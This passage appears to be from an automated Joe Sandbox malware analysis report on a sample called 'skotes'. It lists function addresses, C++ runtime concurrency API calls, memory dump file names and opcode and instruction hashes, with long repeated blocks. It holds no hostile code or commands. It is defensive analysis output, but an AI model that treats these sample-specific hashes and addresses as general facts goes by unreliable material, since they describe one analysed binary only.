                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: AdjustPointer
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1740715915-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 6ef3b63552a965cde26d823962d150e4698797f65eb3b5dde3a30c30acd68bdf
                                                                                                                                                                                                                                                                                    • Instruction ID: e1e2012270e650b2d368861a6027492d5424acae7665bddaf5bf70e25809b213
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 6ef3b63552a965cde26d823962d150e4698797f65eb3b5dde3a30c30acd68bdf
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 5B51E271605A06AFDB29AF54D885BBA77B7EF24710F14452DE81287291E731EE80CF90
                                                                                                                                                                                                                                                                                    Function 00184C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: EqualOffsetTypeids
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1707706676-0
                                                                                                                                                                                                                                                                                    • Opcode ID: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
                                                                                                                                                                                                                                                                                    • Instruction ID: 01b4498bea772e2299cd0e5591983893a1f75fb724567ecf6ce8910080589476
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: D251BD35A0424A9FDF10EFA8C4806EEFBF5EF25354F14469AE850A7350DB32AA05CF90
                                                                                                                                                                                                                                                                                    Function 0017DB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0017DB64
                                                                                                                                                                                                                                                                                      • Part of subcall function 00178F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00178F50
                                                                                                                                                                                                                                                                                    • Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 0017DBC3
                                                                                                                                                                                                                                                                                    • Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0017DBE9
                                                                                                                                                                                                                                                                                    • Concurrency::location::_Assign.LIBCMT ref: 0017DC56
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1091748018-0
                                                                                                                                                                                                                                                                                    • Opcode ID: a4e527af505268025ef6124cc69d6dfdc982b721f805cbe89ed962856839030d
                                                                                                                                                                                                                                                                                    • Instruction ID: 1d3bb425352d541b822bb162eac2cb1203bb205ecdad0619d2fe9912a062b6a9
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: a4e527af505268025ef6124cc69d6dfdc982b721f805cbe89ed962856839030d
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 3341E370704218ABDF1AEB24D886BBDBBB5AF59310F14C09DE54A9B3C2CB70AD45C791
                                                                                                                                                                                                                                                                                    Function 001756AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • _InternalDeleteHelper.LIBCONCRT ref: 001756F2
                                                                                                                                                                                                                                                                                    • _InternalDeleteHelper.LIBCONCRT ref: 00175726
                                                                                                                                                                                                                                                                                    • Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 0017578B
                                                                                                                                                                                                                                                                                    • SafeRWList.LIBCONCRT ref: 0017579A
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 893951542-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 59306f8d59dcc7416612bff0048b30f60d5915dbd8407aa95e5d2fc487ba5914
                                                                                                                                                                                                                                                                                    • Instruction ID: 6748259f3062d938a969bd84ea7dbf932ef858f3953c15e2c574e19234cc6ad7
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 59306f8d59dcc7416612bff0048b30f60d5915dbd8407aa95e5d2fc487ba5914
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 36310536B016109FDF099F60D881AAD77B7AFC9710F188279E90A9F395DF70AC058B90
                                                                                                                                                                                                                                                                                    Function 00172CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00172D0F
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
